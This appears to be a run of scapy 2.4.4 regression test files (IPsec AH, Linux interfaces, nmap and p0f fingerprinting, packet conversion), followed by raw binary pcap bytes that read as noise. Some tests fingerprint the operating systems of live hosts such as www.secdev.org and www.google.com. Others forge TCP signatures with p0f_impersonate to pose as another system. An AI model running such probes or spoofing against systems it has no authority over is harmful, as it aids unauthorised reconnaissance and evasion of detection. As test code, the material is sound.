== sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d == p) ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Tunnel - SHA2-256-128 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d == p) ####################################### = IPv6 / AH - Tunnel - SHA2-256-128 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='SHA2-256-128', auth_key=b'secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv6 + Extensions / AH ####################################### = IPv6 + Extensions / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrRouting() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrFragment() p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and the dest options header assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, IPv6ExtHdrDestOpt)) ####################################### = IPv6 + Routing Header / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff']) p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(raw(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key=b'secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and TCP assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, TCP)) * reorder the routing header as the receiver will get it final = e[IPv6ExtHdrRouting].addresses.pop() e[IPv6ExtHdrRouting].addresses.insert(0, e.dst) e.dst = final e[IPv6ExtHdrRouting].segleft = 0 * integrity verification should pass d = sa.decrypt(e) d scapy-2.4.4/test/linux.uts000066400000000000000000000236561372370053500155340ustar00rootroot00000000000000% Regression tests for Linux only # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Linux only test = L3RawSocket ~ netaccess IP ICMP linux needs_root old_l3socket = conf.L3socket old_debug_dissector = conf.debug_dissector conf.debug_dissector = False conf.L3socket = L3RawSocket x = sr1(IP(dst="www.google.com")/ICMP(),timeout=3) conf.debug_dissector = old_debug_dissector conf.L3socket = old_l3socket x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 x is not None and ICMP in x and x[ICMP].type == 0 # TODO: fix this test (randomly stuck) # ex: https://travis-ci.org/secdev/scapy/jobs/247473497 #= Supersocket _flush_fd #~ needs_root linux # #import select # #from scapy.arch.linux import _flush_fd #socket = conf.L2listen() #select.select([socket],[],[],2) #_flush_fd(socket.ins) = Interface aliases & sub-interfaces ~ linux needs_root import os exit_status = os.system("ip link add name scapy0 type dummy") exit_status = os.system("ip addr add 192.0.2.1/24 dev scapy0") exit_status = os.system("ip link set scapy0 up") exit_status = os.system("ifconfig scapy0:0 inet 198.51.100.1/24 up") if exit_status == 0: exit_status = os.system("ip addr show scapy0") print(get_if_list()) conf.route.resync() print(conf.route.routes) assert(conf.route.route("198.51.100.254") == ("scapy0", "198.51.100.1", "0.0.0.0")) route_alias = (3325256704, 4294967040, "0.0.0.0", "scapy0", "198.51.100.1", 0) assert(route_alias in conf.route.routes) exit_status = os.system("ip link add link scapy0 name scapy0.42 type vlan id 42") exit_status = os.system("ip addr add 203.0.113.42/24 dev scapy0.42") exit_status = os.system("ip link set scapy0.42 up") exit_status = os.system("ip route add 192.0.2.43/32 via 203.0.113.41") print(get_if_list()) conf.route.resync() print(conf.route.routes) assert(conf.route.route("192.0.2.43") == ("scapy0.42", "203.0.113.42", "203.0.113.41")) route_specific = (3221226027, 4294967295, "203.0.113.41", "scapy0.42", "203.0.113.42", 0) assert(route_specific in conf.route.routes) exit_status = os.system("ip link del name dev scapy0") else: assert True = catch loopback device missing ~ linux needs_root from mock import patch # can't remove the lo device (or its address without causing trouble) - use some pseudo dummy instead with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo_x'): routes = read_routes() = catch get_working_if only loopback ~ linux from mock import patch with patch('scapy.arch.linux.get_if_list', side_effect=lambda: [conf.loopback_name]): assert get_working_if() == conf.loopback_name = catch loopback device no address assigned ~ linux needs_root import os, socket from mock import patch exit_status = os.system("ip link add name scapy_lo type dummy") assert(exit_status == 0) exit_status = os.system("ip link set dev scapy_lo up") assert(exit_status == 0) with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'): routes = read_routes() exit_status = os.system("ip addr add dev scapy_lo 10.10.0.1/24") assert(exit_status == 0) with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'): routes = read_routes() got_lo_device = False for route in routes: dst_int, msk_int, gw_str, if_name, if_addr, metric = route if if_name == 'scapy_lo': got_lo_device = True assert(if_addr == '10.10.0.1') dst_addr = socket.inet_ntoa(struct.pack("!I", dst_int)) assert(dst_addr == '10.10.0.0') msk = socket.inet_ntoa(struct.pack("!I", msk_int)) assert (msk == '255.255.255.0') break assert(got_lo_device) exit_status = os.system("ip link del dev scapy_lo") assert(exit_status == 0) = IPv6 link-local address selection from mock import patch conf.route6.routes = [('fe80::', 64, '::', 'scapy0', ['fe80::e039:91ff:fe79:1910'], 256)] conf.route6.ipv6_ifaces = set(['scapy0']) bck_conf_iface = conf.iface conf.iface = "scapy0" with patch("scapy.layers.l2.get_if_hwaddr") as mgih: mgih.return_value = 'e2:39:91:79:19:10' p = Ether()/IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1") print(p.sprintf("%Ether.src% > %Ether.dst%\n%IPv6.src% > %IPv6.dst%")) ip6_ll_address = 'fe80::e039:91ff:fe79:1910' print(p[IPv6].src, ip6_ll_address) assert p[IPv6].src == ip6_ll_address mac_address = 'e2:39:91:79:19:10' print(p[Ether].src, mac_address) assert p[Ether].src == mac_address conf.iface = bck_conf_iface conf.route6.resync() = IPv6 ~ linux addrs = in6_getifaddr() if len(addrs) == 0: assert True else: assert all([in6_isvalid(addr[0]) for addr in in6_getifaddr()]) assert set([addr[2] for addr in in6_getifaddr()]) == conf.route6.ipv6_ifaces = veth interface error handling ~ linux needs_root veth try: veth = VEthPair('this_IF_name_is_to_long_and_will_cause_an_error', 'veth_scapy_1') veth.setup() assert False except subprocess.CalledProcessError: pass except Exception: assert False = veth interface usage - ctx manager ~ linux needs_root veth from threading import Condition cond_started = Condition() def _sniffer_started(): global cond_started cond_started.acquire() cond_started.notify() cond_started.release() cond_started.acquire() try: with VEthPair('veth_scapy_0', 'veth_scapy_1') as veth: if_list = get_if_list() assert ('veth_scapy_0' in if_list) assert ('veth_scapy_1' in if_list) frm_count = 0 def _sniffer(): sniffed = sniff(iface='veth_scapy_1', store=True, count=2, lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef, started_callback=_sniffer_started) global frm_count frm_count = 2 t_sniffer = Thread(target=_sniffer) t_sniffer.start() cond_started.wait() sendp(Ether(type=0xbeef)/Raw(b'0123456789'), iface='veth_scapy_0', count=2) t_sniffer.join(1) assert(frm_count == 2) if_list = get_if_list() assert ('veth_scapy_0' not in if_list) assert ('veth_scapy_1' not in if_list) except subprocess.CalledProcessError: assert False except Exception: assert False = veth interface usage - manual interface handling ~ linux needs_root veth from threading import Condition cond_started = Condition() def _sniffer_started(): global cond_started cond_started.acquire() cond_started.notify() cond_started.release() cond_started.acquire() veth = VEthPair('veth_scapy_0', 'veth_scapy_1') try: veth.setup() veth.up() except subprocess.CalledProcessError: assert False except Exception: assert False if_list = get_if_list() assert ('veth_scapy_0' in if_list) assert ('veth_scapy_1' in if_list) frm_count = 0 def _sniffer(): sniffed = sniff(iface='veth_scapy_1', store=True, count=2, lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef, started_callback=_sniffer_started) global frm_count frm_count = 2 t_sniffer = Thread(target=_sniffer) t_sniffer.start() cond_started.wait() sendp(Ether(type=0xbeef)/Raw(b'0123456789'), iface='veth_scapy_0', count=2) t_sniffer.join(1) assert(frm_count == 2) try: veth.down() veth.destroy() if_list = get_if_list() assert ('veth_scapy_0' not in if_list) assert ('veth_scapy_1' not in if_list) except subprocess.CalledProcessError: assert False except Exception: assert False = Routing table, interface with no names ~ linux from mock import patch @patch("scapy.arch.linux.ioctl") def test_read_routes(mock_ioctl): def raise_ioerror(*args, **kwargs): if args[1] == 0x8912: return args[2] raise IOError mock_ioctl.side_effect = raise_ioerror read_routes() test_read_routes() = L3PacketSocket sendto exception ~ linux needs_root if six.PY3: import mock, six, socket @mock.patch("scapy.arch.linux.socket.socket.sendto") def test_L3PacketSocket_sendto_python3(mock_sendto): mock_sendto.side_effect = OSError(22, 2807) l3ps = L3PacketSocket() l3ps.send(IP(dst="8.8.8.8")/ICMP()) return True assert test_L3PacketSocket_sendto_python3() = Test _interface_selection ~ netaccess linux needs_root import os from scapy.sendrecv import _interface_selection assert _interface_selection(None, IP(dst="8.8.8.8")/UDP()) == conf.iface exit_status = os.system("ip link add name scapy0 type dummy") exit_status = os.system("ip addr add 192.0.2.1/24 dev scapy0") exit_status = os.system("ip link set scapy0 up") assert _interface_selection(None, IP(dst="192.0.2.42")/UDP()) == "scapy0" exit_status = os.system("ip link del name dev scapy0") = Test 802.Q sniffing ~ linux needs_root python3_only from threading import Thread, Condition veth = VEthPair("left0", "right0") veth.setup() veth.up() exit_status = os.system("ip link add link right0 name vlanright0 type vlan id 42") exit_status = os.system("ip link add link left0 name vlanleft0 type vlan id 42") exit_status = os.system("ip link set vlanright0 up") exit_status = os.system("ip link set vlanleft0 up") exit_status = os.system("ip addr add 198.51.100.1/24 dev vlanleft0") exit_status = os.system("ip addr add 198.51.100.2/24 dev vlanright0") cond_started = Condition() def _sniffer_started(): global cond_started cond_started.acquire() cond_started.notify() cond_started.release() cond_started.acquire() dot1q_count = 0 def _sniffer(): sniffed = sniff(iface="right0", lfilter=lambda p: Dot1Q in p, count=2, timeout=5, started_callback=_sniffer_started) global dot1q_count dot1q_count = len(sniffed) t_sniffer = Thread(target=_sniffer) t_sniffer.start() cond_started.wait() sendp(Ether()/IP(dst="198.51.100.2")/ICMP(), iface='vlanleft0', count=2) t_sniffer.join(1) assert(dot1q_count == 2) veth.destroy() scapy-2.4.4/test/nmap.uts000066400000000000000000000031671372370053500153230ustar00rootroot00000000000000% Regression tests for Scapy Nmap module ~ nmap ############ ############ + Basic Nmap OS fingerprints tests = Module loading load_module('nmap') = Test functions d = nmap_udppacket_sig(IP()/UDP(), IP(raw(IP()/ICMP(type=3, code=2)/IPerror()/UDPerror()))) assert len(d) == 9 d = nmap_tcppacket_sig(IP()/TCP()) assert len(d) == 5 = Fetch database ~ netaccess from __future__ import print_function try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen for i in range(10): try: open('nmap-os-fingerprints', 'wb').write(urlopen('https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints').read()) break except: pass conf.nmap_base = 'nmap-os-fingerprints' = Database loading ~ netaccess assert len(nmap_kdb.get_base()) > 100 = fingerprint test: www.secdev.org ~ netaccess score, fprint = nmap_fp('www.secdev.org') print(score, fprint) assert score > 0.5 assert fprint = fingerprint test: gateway ~ netaccess score, fprint = nmap_fp(conf.route.route('0.0.0.0')[2]) print(score, fprint) assert score > 0.5 assert fprint = fingerprint test: to text ~ netaccess import re as re_ a = nmap_sig("www.secdev.org", 80, 81) a for x in nmap_sig2txt(a).split("\n"): assert re_.match(r"\w{2,4}\(.*\)", x) = nmap_udppacket_sig test: www.google.com ~ netaccess a = nmap_sig("www.google.com", ucport=80) assert len(a) > 3 assert len(a["PU"]) > 0 + Nmap errors triggering = Nmap base not available nmap_kdb.filename = "invalid" nmap_kdb.reload() assert nmap_kdb.filename == None = Clear temp files try: os.remove('nmap-os-fingerprints') except: pass scapy-2.4.4/test/p0f.uts000066400000000000000000000067141372370053500150560ustar00rootroot00000000000000% Tests for Scapy's p0f module. ~ p0f ############ ############ + Basic p0f module tests = Module loading load_module('p0f') = Fetch database ~ netaccess from __future__ import print_function try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen def _load_database(file): for i in range(10): try: open(file, 'wb').write(urlopen('https://raw.githubusercontent.com/p0f/p0f/4b4d1f384abebbb9b1b25b8f3c6df5ad7ab365f7/' + file).read()) break except: raise pass _load_database("p0f.fp") conf.p0f_base = "p0f.fp" _load_database("p0fa.fp") conf.p0fa_base = "p0fa.fp" _load_database("p0fr.fp") conf.p0fr_base = "p0fr.fp" _load_database("p0fo.fp") conf.p0fo_base = "p0fo.fp" p0f_load_knowledgebases() ############ ############ + Default tests = Test p0f ~ netaccess pkt = Ether(b'\x14\x0cv\x8f\xfe(\xd0P\x99V\xdd\xf9\x08\x00E\x00\x0045+@\x00\x80\x06\x00\x00\xc0\xa8\x00w(M\xe2\xf9\xda\xcb\x01\xbbcc\xdd\x1e\x00\x00\x00\x00\x80\x02\xfa\xf0\xcc\x8c\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02') assert p0f(pkt) == [('@Windows', 'XP/2000 (RFC1323+, w+, tstamp-)', 0)] = Test prnp0f ~ netaccess with ContextManagerCaptureOutput() as cmco: prnp0f(pkt) assert cmco.get_output() == '192.168.0.119:56011 - @Windows XP/2000 (RFC1323+, w+, tstamp-)\n -> 40.77.226.249:https (S) (distance 0)\n' ############ ############ + Tests for p0f_impersonate # XXX: a lot of pieces of p0f_impersonate don't have tests yet. = Impersonate when window size must be multiple of some integer sig = ('%467', 64, 1, 60, 'M*,W*', '.', 'Phony Sys', '1.0') pkt = p0f_impersonate(IP()/TCP(), signature=sig) assert pkt.payload.window % 467 == 0 = Handle unusual flags ("F") quirk sig = ('1024', 64, 0, 60, 'W*', 'F', 'Phony Sys', '1.0') pkt = p0f_impersonate(IP()/TCP(), signature=sig) assert (pkt.payload.flags & 40) in (8, 32, 40) = Use valid option values from original packet sig = ('S4', 64, 1, 60, 'M*,W*,T', '.', 'Phony Sys', '1.0') opts = [('MSS', 1400), ('WScale', 3), ('Timestamp', (97256, 0))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options == opts = Use valid option values when multiples required sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0') opts = [('MSS', 37*15), ('WScale', 19*12)] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options == opts = Discard non-multiple option values when multiples required sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0') opts = [('MSS', 37*15 + 1), ('WScale', 19*12 + 1)] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options[0][1] % 37 == 0 assert pkt.payload.options[1][1] % 19 == 0 = Discard bad timestamp values sig = ('S4', 64, 1, 60, 'M*,T', '.', 'Phony Sys', '1.0') opts = [('Timestamp', (0, 1000))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) # since option is "T" and not "T0": assert pkt.payload.options[1][1][0] > 0 # since T quirk is not present: assert pkt.payload.options[1][1][1] == 0 = Discard 2nd timestamp of 0 if "T" quirk is present sig = ('S4', 64, 1, 60, 'M*,T', 'T', 'Phony Sys', '1.0') opts = [('Timestamp', (54321, 0))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options[1][1][1] > 0 + Clear temp files = Remove fp files def _rem(f): try: os.remove(f) except: pass _rem("p0f.fp") _rem("p0fa.fp") _rem("p0fr.fp") _rem("p0fo.fp")scapy-2.4.4/test/packet.uts000066400000000000000000000142011372370053500156260ustar00rootroot00000000000000% Regression tests for Scapy packets + Test packet conversion (convert_to/convert_packet) = Setup packet conversion def expect_exception(e, c): try: c() return False except e: return True def no_theme(c): old_theme = conf.color_theme conf.color_theme = NoTheme() try: return c() finally: conf.color_theme = old_theme # PacketA declares no conversions, but will have conversions declared by # PacketB. class PacketA(Packet): name = 'PacketA' fields_desc = [LEShortField('foo', None)] # PacketB declares conversions for PacketA class PacketB(Packet): name = 'PacketB' fields_desc = [ShortField('bar', None)] def convert_to(self, other_cls, **kwargs): if other_cls is PacketA: return PacketA(foo=self.bar) return Packet.convert_to(self, other_cls, **kwargs) @classmethod def convert_packet(cls, pkt, **kwargs): if isinstance(pkt, PacketA): return cls(bar=pkt.foo) return Packet.convert_packet(pkt, **kwargs) # PacketC has no defined conversions, either way. # Converting to or from it should fail. class PacketC(Packet): name = 'PacketC' fields_desc = [IntField('x', None),] # Packet D stacks Packet C under it. class PacketD(Packet): name = 'PacketD' fields_desc = [ShortField('version', 12),] bind_layers(PacketD, PacketC) = Check formatting is expected. # This isn't strictly relevant for the test, but it ensures that we have the # environment we expected. p = PacketA(b'\xd2\x04') assert p.foo == 1234 p = PacketB(b'\x04\xd2') assert p.bar == 1234 p = PacketC(b'\0\0\x04\xd2') assert p.x == 1234 p = PacketD(b'\0\x0c\0\0\x04\xd2') assert p.version == 12 assert p.haslayer(PacketC) assert p.x == 1234 p = PacketA(foo=1234) assert raw(p) == b'\xd2\x04' p = PacketB(raw(p)) assert p.bar == 53764 p = PacketB(bar=1234) assert raw(p) == b'\x04\xd2' p = PacketA(raw(p)) assert p.foo == 53764 p = PacketC(x=1234) assert raw(p) == b'\0\0\x04\xd2' p = PacketD()/PacketC(x=1234) assert raw(p) == b'\0\x0c\0\0\x04\xd2' = convert_to A -> B p1 = PacketA(foo=1234) p2 = p1.convert_to(PacketB) assert p1.foo == 1234 assert p2.bar == 1234 = convert_to A -> C (fails) p1 = PacketA(foo=1234) expect_exception(TypeError, lambda: p1.convert_to(PacketC)) assert p1.foo == 1234 = convert_to A -> Raw p1 = PacketA(foo=1234) p2 = p1.convert_to(Raw) assert p1.foo == 1234 assert isinstance(p2, Raw) assert p2.load == b'\xd2\x04' = convert_to B -> A p1 = PacketB(bar=1234) p2 = p1.convert_to(PacketA) assert p1.bar == 1234 assert p2.foo == 1234 = convert_to B -> C (fails) p1 = PacketB(bar=1234) expect_exception(TypeError, lambda: p1.convert_to(PacketC)) assert p1.bar == 1234 = convert_to B -> Raw p1 = PacketB(bar=1234) p2 = p1.convert_to(Raw) assert p1.bar == 1234 assert isinstance(p2, Raw) assert p2.load == b'\x04\xd2' = convert_to D -> C (fails) p1 = PacketD()/PacketC(x=1234) expect_exception(TypeError, lambda: p1.convert_to(PacketC)) assert p1.x == 1234 = convert_to invalid type try: PacketA().convert_to(3) except TypeError: pass else: assert False = convert_packet A -> B p1 = PacketA(foo=1234) p2 = PacketB.convert_packet(p1) assert p1.foo == 1234 assert p2.bar == 1234 = convert_packet A -> C (fails) p1 = PacketA(foo=1234) expect_exception(TypeError, lambda: PacketC.convert_packet(p1)) assert p1.foo == 1234 = convert_packet A -> Raw p1 = PacketA(foo=1234) p2 = Raw.convert_packet(p1) assert p1.foo == 1234 assert isinstance(p2, Raw) assert p2.load == b'\xd2\x04' = convert_packet B -> A p1 = PacketB(bar=1234) p2 = PacketA.convert_packet(p1) assert p1.bar == 1234 assert p2.foo == 1234 = convert_packet B -> C (fails) p1 = PacketB(bar=1234) expect_exception(TypeError, lambda: PacketC.convert_packet(p1)) assert p1.bar == 1234 = convert_packet B -> Raw p1 = PacketB(bar=1234) p2 = Raw.convert_packet(p1) assert p1.bar == 1234 assert isinstance(p2, Raw) assert p2.load == b'\x04\xd2' = convert_packet D -> C (fails) p1 = PacketD()/PacketC(x=1234) expect_exception(TypeError, lambda: PacketC.convert_packet(p1)) assert p1.x == 1234 = convert_packets A -> B p1 = [PacketA(foo=x) for x in range(100)] p2 = list(PacketB.convert_packets(p1)) for x in range(100): assert p1[x].foo == x assert p2[x].bar == x = convert_packets B -> A p1 = [PacketB(bar=x) for x in range(100)] p2 = list(PacketA.convert_packets(p1)) for x in range(100): assert p1[x].bar == x assert p2[x].foo == x = convert_packet invalid type try: PacketA.convert_packet(3) except TypeError: pass else: assert False = PacketList.convert_to A -> B pl1 = PacketList([PacketA(foo=x) for x in range(10)]) pl2 = pl1.convert_to(PacketB) for i, p2 in enumerate(pl2): assert p2.bar == i assert 'PacketB' in pl2.listname = PacketList.convert_to custom name / stats pl1 = PacketList( [PacketA(foo=x) for x in range(10)], name='my old list', stats=[PacketA]) assert pl1.listname == 'my old list' pl2 = pl1.convert_to(PacketB, name='my new list', stats=[PacketB, PacketC]) for i, p2 in enumerate(pl2): assert p2.bar == i assert pl2.listname == 'my new list' assert no_theme(lambda: 'PacketA' not in str(pl2)) assert no_theme(lambda: 'PacketB:10' in str(pl2)) = PacketList.getlayer pl1 = PacketList([PacketC(x=x)/PacketD(version=x*2) for x in range(10)]) pl2 = pl1.getlayer(PacketD) for i, p2 in enumerate(pl2): assert p2.version == i * 2 assert 'PacketD' in pl2.listname = PacketList.getlayer custom name / stats pl1 = PacketList( [PacketC(x=x)/PacketD(version=x*2) for x in range(10)], name='old list', stats=[PacketC]) pl2 = pl1.getlayer(PacketD, name='new list', stats=[PacketD]) for i, p2 in enumerate(pl2): assert p2.version == i * 2 assert pl2.listname == 'new list' assert no_theme(lambda: 'PacketC' not in str(pl2)) assert no_theme(lambda: 'PacketD:10' in str(pl2)) = PacketList.getlayer filtering pl1 = PacketList([PacketC(x=x)/PacketD(version=x*2) for x in range(10)]) pl2 = pl1.getlayer(PacketD, nb=1, flt={'version': 6}) assert len(pl2) == 1 assert pl2[0].version == 6 = PacketList.getlayer filtering with 0 results pl2 = pl1.getlayer(PacketD, nb=1, flt={'version': 1}) assert len(pl2) == 0 scapy-2.4.4/test/pcaps/000077500000000000000000000000001372370053500147325ustar00rootroot00000000000000scapy-2.4.4/test/pcaps/bad_rsn_parsing_overrides_ssid.pcap000066400000000000000000000005501372370053500240360ustar00rootroot00000000000000Ôò¡«µ²^¢!??0/@       pin;%íN l Àβ½Î€ÿÿÿÿÿÿì/‚)ì/‚)pa¡d1 ROUTE-821E295Œ$IL    ;QQRSTstuvwxyz{}~€*0¬¬¬Œ¬-ÿÿ=ÝPò¤'¤BT^a2/Ý ÆÝì/RRRRRRRRRRRRRRRRRRRRRž[ò scapy-2.4.4/test/pcaps/http2_h2c.pcap000066400000000000000000000031211372370053500173710ustar00rootroot00000000000000Ôò¡Ánp[$– ôôŠ}@žR’v9¾ÁEæŒp@@œn ‹¢{†â¶P£j1Œ¤1)€å  Då_lÔ¼ñGET /robots.txt HTTP/1.1 Host: nghttp2.org User-Agent: curl/7.61.0 Accept: */* Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Ânp[ó{¤¤’v9¾ÁŠ}@žRE –Û­@5Xa‹¢{† Pⶤ1)£j2>€ë,C Ô¼òVDå_lHTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: h2c d Ânp[u}ZZŠ}@žR’v9¾ÁELŒr@@ ‹¢{†â¶P£j2>¤1‹€år DåaÅÔ¼òVPRI * HTTP/2.0 SM Ânp[Á}]]Š}@žR’v9¾ÁEOŒs@@ ‹¢{†â¶P£j2V¤1‹€åu DåaÅÔ¼òVd@Ânp[ã}KKŠ}@žR’v9¾ÁE=Œt@@ ‹¢{†â¶P£j2q¤1‹€åc DåaÅÔ¼òVÂnp[ø}VV’v9¾ÁŠ}@žRE HÛ®@5W®‹¢{† Pⶤ1‹£j2>€ëM‹ Ô¼òXDå_lĈa–Ým_JJClÊy@»q\h*bÑ¿_‡I|¥Šèªl–ßi~”Êh¥¼ Y¸Û7%1hß‹þ[¡r fKüÿR„ÒJ 62@ò´c'RÕ"Ó”rŬJ†àœi¿v†ªiÒšüÿ|‡•M:S_Ÿ@‹ò´¶’¬zÒcԉ݌¶äÅ“O@Œò·”!jì:JD˜õŠÚ”žBÁ'_@ò±RKRVOªÊ±ëIR?…¨è¨ÒË>User-agent: * Disallow: Sitemap: //nghttp2.org/sitemap.xml Ânp[ÿ}OOŠ}@žR’v9¾ÁEAŒu@@ ‹¢{†â¶P£j2z¤1‹€åg DåaÅÔ¼òV?ÿÂnp[¿€ssŠ}@žR’v9¾ÁEeŒv@@œé ‹¢{†â¶P£j2‡¤1Ÿ€í‹ DåaÅÔ¼òX(?ႈb{iH]>S†AˆªiҚĹì›zˆ%¶Pë¸ÁS*/*Ânp[”? KK’v9¾ÁŠ}@žRE =Û°@5X·‹¢{† Pⶤ1Ÿ£j2q€ë~à Լô«DåaÅÂnp[¡O œœ’v9¾ÁŠ}@žRE ŽÛ²@5Xd‹¢{† Pⶤ1¨£j2¸€ë¸ Ô¼ô¯DåaÅ?a–Ým_JJClÊy@»q\hJbÑ¿_’I|¥ŠèªûP“ŽÄ0Z™V{ 9†à_ußÅÄÃÂÁ not foundscapy-2.4.4/test/pcaps/http_chunk.pcap.gz000066400000000000000000000614341372370053500203750ustar00rootroot00000000000000‹ ÄœXS[ïCAD©R‚‚¢Hï¡E)¢ôŽˆ”Ð{¯‰ŠŠ‚€R¤‰ˆtéMš‚ô&Ò{ï¡wB’wzï8w®sï̼÷ò}rJvöÙkíßú¯½÷IWM^">ˆôû‹„ü¾sÿÎÓû'AÂÀ{Üöbâ#·(^”a§øJÆqÐ èÊí½k ûDßR%õ«§}Û@*[>r#Ч*§AØã²ÀÇF€bœ…@ ë £í¨€£Â‹н} dN´xW®(Jû® (ßû§ ñ¾²ƒ@xxÇHpEãŽáJ¤j;z†:Üþ¹bøÞ·÷q¤ú§ŠùVŒ„mæänh0s[¸¸8˜ÙØÀœ<¹M,\í¬a¦?þ[ڙøŒœ< <\|^^^a^D€"($Ì,¯¡¡ÂÍËÅKF"oïì"ÊìîîÎ…+ÌÝÈÅÄ‚ËÄÞ–ŒDÚÞÎfâbio'Êl ƒ9pÙXºÁÈH4aNœRæ0;àc·í½,mlŒ¸¹x˜/k[Ú™Ú»;3+i0óòpñˆ1„Ę=„®0K98ØÀ´aÆŠ–.Ü‚üÂ\üBÌ—å5nßâ`¶±´†1ËÁL¬í¯0K[8ÙÛ¸…ù¸x€Kø„¸xy!ÌêFfFN–ß?FF"ebs¾üð¹ÝaÆGoìÌ¿¿eç`çfs”àá!#Qƒ™Áœ`N¢Ì¸;åæþÃÍþËvüñEœ7ìLìM-íÌE™Í½,8˜Maf6F.°ßÎß2²3w¾T”Ù̉SVÃÌéð‹!0;NMõ£JïßãÚÕÞÚ¸ØÐÜHBNŠ—‹K_PÂÇäâä…ðˆðó‰ç-M¿_À ààçåøé )55)33K;KO a#^>!Aˆ¯1Ÿ1¯‰‰ ¿°)áᇠòÁDLDL!|33ˆ°‘€0P°‘ˆˆˆ‰‘   